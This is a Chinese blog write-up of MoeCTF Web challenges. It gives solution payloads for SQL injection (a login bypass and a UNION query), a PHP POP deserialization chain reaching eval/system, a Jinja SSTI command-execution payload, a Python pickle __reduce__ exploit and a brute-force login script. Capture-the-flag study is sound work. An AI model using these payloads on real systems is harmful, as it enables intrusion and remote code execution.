moectf-Web题解

时之彼岸Φ 2024-10-22 17:33:02 阅读 60

1、弗拉格之地的入口

2、垫刀之路01: MoeCTF?启动!

3、ez_http

4、ProveYourLove

5、弗拉格之地的挑战

6、ImageCloud前置

7、垫刀之路02: 普通的文件上传

8、垫刀之路03: 这是一个图床

9、垫刀之路05: 登陆网站

10、垫刀之路06: pop base mini moe

11、垫刀之路07: 泄漏的密码

12、垫刀之路04: 一个文件浏览器

13、静态网页

14、电院_Backend

考点:目录爆破+万能密码

首先尝试目录爆破,发现后台admin

 进入后台

尝试万能密码破解 ,得到flag。

<code>2199029061@qq.com' || true #

15、pop moe

考点:Python反序列化

首先分析代码 

<code><?php

class class000 {

private $payl0ad = 0;

protected $what;

public function __destruct()

{

$this->check();

}

public function check()

{

if($this->payl0ad === 0)

{

die('FAILED TO ATTACK');

}

$a = $this->what;

$a();

}

}

class class001 {

public $payl0ad;

public $a;

public function __invoke()

{

$this->a->payload = $this->payl0ad;

}

}

class class002 {

private $sec;

public function __set($a, $b)

{

$this->$b($this->sec);

}

public function dangerous($whaattt)

{

$whaattt->evvval($this->sec);

}

}

class class003 {

public $mystr;

public function evvval($str)

{

eval($str);

}

public function __tostring()

{

return $this->mystr;

}

}

if(isset($_GET['data']))

{

$a = unserialize($_GET['data']);

}

else {

highlight_file(__FILE__);

}

该方法接收GET方法,通过参数data传递。

        该class000对象销毁时,会调用check函数,要想成功执行,则pay10ad必须为非0,而且a变量必须可以作为函数调用,则必须赋值class001。

        该class001对象会向a对象的payload变量进行赋值,则我们可以想到set魔术方法,也就是说a必须赋值class002对象。

        该class002对象带有set函数,其中set传参b,必须是一个函数可以调用,则我们可以想到可以传递dangerous()函数,而dangerous要调用what变量的evvval方法,则what应该赋值class003。

         该class003对象,带有eval函数。也就是说$str应该传递执行系统命令的代码,这里有toString魔术方法,会返回mystr的值,那么则可以给mystr赋值系统命令,而class002的sec变量可以赋值class003,这样当class003被当成字符串的时候,会返回mystr变量的值。

所以总结写出pop反序列化链,代码如下:

<code><?php

class class000 {

private $payl0ad = '0';

protected $what;//函数对象class01

public function __construct($x){

$this->what=$x;

}

public function __destruct()//入口

{

$this->check();

}

public function check()

{

if($this->payl0ad === 0)

{

die('FAILED TO ATTACK');

}

$a = $this->what;

$a();

}

}

class class001 {

public $payl0ad="dangerous";code>

public $a;//赋值class2

public function __construct($x){

$this->a=$x;

}

public function __invoke()

{

$this->a->payload = $this->payl0ad;//调用set方法

}

}

class class002 {

private $sec;

public function __construct($x){

$this->sec=$x;

}

public function __set($a, $b)

{

//echo $this->$b;

$this->$b($this->sec);

}

public function dangerous($whaattt)

{

$whaattt->evvval($this->sec);//调用类class003的函数,

}

}

class class003 {

public $mystr='system("set");';code>

public function evvval($str)

{

eval($str);

}

public function __tostring()

{

return $this->mystr;

}

}

$class3=new class003();

$class2=new class002($class3);

$class1=new class001($class2);

$class0=new class000($class1);

echo urlencode(serialize($class0));

//echo serialize($class0);

?>

16、勇闯铜人阵

考点:Requset库

该题写脚本进行爬取,模拟用户输入请求。 

import requests

from lxml import html

url="http://127.0.0.1:58591/"code>

session=requests.Session()

data1={

'player':1,

'direct':'弟子明白'

}

d1=["北方","东北方","东方","东南方","南方","西南方","西方","西北方"]

d2=["北方一个","东北方一个","东方一个","东南方一个","南方一个","西南方一个","西方一个","西北方一个"]

a=[1,2,3,4,5,6,7,8]

r=session.post(url,data=data1)

data_html=html.fromstring(r.text)

b=data_html.xpath('/html/body/h1[2]/text()')

strs=b[0].strip()

n=5

while(n):

if len(strs)==1:

data={

'player':1,

'direct':str(d1[int(strs)-1])

}

else :

len(strs)

data = {

'player': 1,

'direct': str(d2[int(strs[0])-1]+','+d2[int(strs[len(strs)-1])-1])

}

print(data)

r = session.post(url, data=data)

print(r.text)

data_html=html.fromstring(r.text)

b=data_html.xpath('/html/body/h1[2]/text()')

strs=b[0].strip()

print(strs)

n=n-1

17、从零开始的 XDU 教书生活

考点:Request库

        主要就是要利用python的Request库,来模拟登录,和访问签到页面,用户的密码和账号涉及加密AES,需要编写对应的加密函数,可以从js脚本中获得(将JS代码转换python代码)。

<code>import requests

import base64

from Crypto.Cipher import AES

from Crypto.Util.Padding import pad

def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str:

key_bytes = key.encode("utf-8")

iv_bytes = iv.encode("utf-8")

cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

encrypted_bytes = base64.b64decode(encrypted)

decrypted_bytes = cipher.decrypt(encrypted_bytes)

pad = decrypted_bytes[-1]

decrypted_bytes = decrypted_bytes[:-pad]

decrypted = decrypted_bytes.decode("utf-8")

return decrypted

def encrypt_by_aes(message: str, key: str) -> str:

# 将密钥和消息转换为字节

key_bytes = key.encode("utf-8") # 假设密钥是UTF-8字符串

message_bytes = message.encode("utf-8")

# 创建AES加密器,使用CBC模式

cipher = AES.new(key_bytes, AES.MODE_CBC, iv=key_bytes)

# 对消息进行填充

padded_message = pad(message_bytes, AES.block_size)

# 执行加密

encrypted_bytes = cipher.encrypt(padded_message)

# 返回Base64编码的加密数据

return base64.b64encode(encrypted_bytes).decode("utf-8")

f=open("1.txt", "r")

lines=[]

for i in f.readlines():

lines.append(i.strip('\n')) #去掉列表中每一个元素的换行符

sesstion = requests.Session()

key = "u2oh6Vu^HWe4_AES"

iv = "u2oh6Vu^HWe4_AES"

n=0

for i in lines:

n+=1

pwd=i

phone=pwd

AEStext=encrypt_by_aes(phone,key)

datas={

'uname':AEStext,

'password':AEStext,

't':"true"

}

res=sesstion.post("http://127.0.0.1:50979/fanyalogin",data=datas)

print(sesstion.cookies)

res=sesstion.get("http://127.0.0.1:50979/widget/sign/e?id=4000000000000&c=3774046904159&enc=9B3C4EE89853011BC957F8C80F269B26&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id")

print(res.text)

print("进度:"+str(n)+'/1024')

# 9084575

# 8687191

# 3060289

# 6199440

# 1124453

18、who's blog?

考点:SSTI注入

{% for i in ().__class__.__base__.__subclasses__()%}{% if '_ModuleLock'== i.__name__ %}{ {i.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}{% endif %}{% endfor %}

19、ImageCloud

考点:暴力破解+源码审计

        从app2.py的代码里可以知道,该代码跑在5000-6000端口号上,从文件结构和代码可以想到通过app2.py文件访问uploads文件夹,即可得到flag。 

访问即可得到flag 

20、PetStore

考点:Pickle反序列化

Pickle反序列化时,会自动调用魔术方法__reduce__,该方法返回一个元组,可以执行任意代码,这里我采用将系统执行的结果反射到store的pets的值进行覆盖输出。

<code>import pickle

import base64

import uuid

class Pet:

def __init__(self, name, species) -> None:

self.name = name

self.species = species

self.uuid = uuid.uuid4()

def __repr__(self) -> str:

return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

class PetStore:

def __init__(self) -> None:

self.pets = []

def create_pet(self, name, species) -> None:

pet = Pet(name, species)

self.pets.append(pet)

def get_pet(self, pet_uuid) -> Pet :

for pet in self.pets:

if str(pet.uuid) == pet_uuid:

return pet

return None

def export_pet(self, pet_uuid) -> str :

pet = self.get_pet(pet_uuid)

if pet is not None:

self.pets.remove(pet)

serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")

return serialized_pet

return None

def import_pet(self, serialized_pet) -> bool:

try:

pet_data = base64.b64decode(serialized_pet)

pet = pickle.loads(pet_data)

if isinstance(pet, Pet):

for i in self.pets:

if i.uuid == pet.uuid:

return False

self.pets.append(pet)

return True

return False

except Exception:

return False

store = PetStore()

class A:

def __reduce__(self):

return (exec,("store.create_pet(__import__('os').popen('echo $FLAG').read(),1)",))

pet = A()

serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")

print(serialized_pet)

pet_data = base64.b64decode(serialized_pet)

repet=pickle.loads(pet_data)

# FLAG='moectf{StARRyM30W'"'"'s-FL@g_hA5-been_@CC3Pt3d-4CAc4c@C2c}'code>

print(store.pets)

 引入base64的pickle的序列串,如下,然后刷新网页,即可得到flag。

gASVWwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw/c3RvcmUuY3JlYXRlX3BldChfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlY2hvICRGTEFHJykucmVhZCgpLDEplIWUUpQu

21、smbms

考点:弱密码+SQL注入

        从附件的.sql文件中获取账号,和弱认证的问题,然后我们尝试弱密码爆破,得到管理员密码1234567。

进入系统后,发现只有用户管理这个 页面的搜索功能可以使用,尝试源代码审计。

代码审计,找到查询用户的逻辑代码,发现存在字符串拼接,则存在SQL注入漏洞。

尝试联合注入,得到flag。

<code>邓超%' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,flag from flag limit ?,? --



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。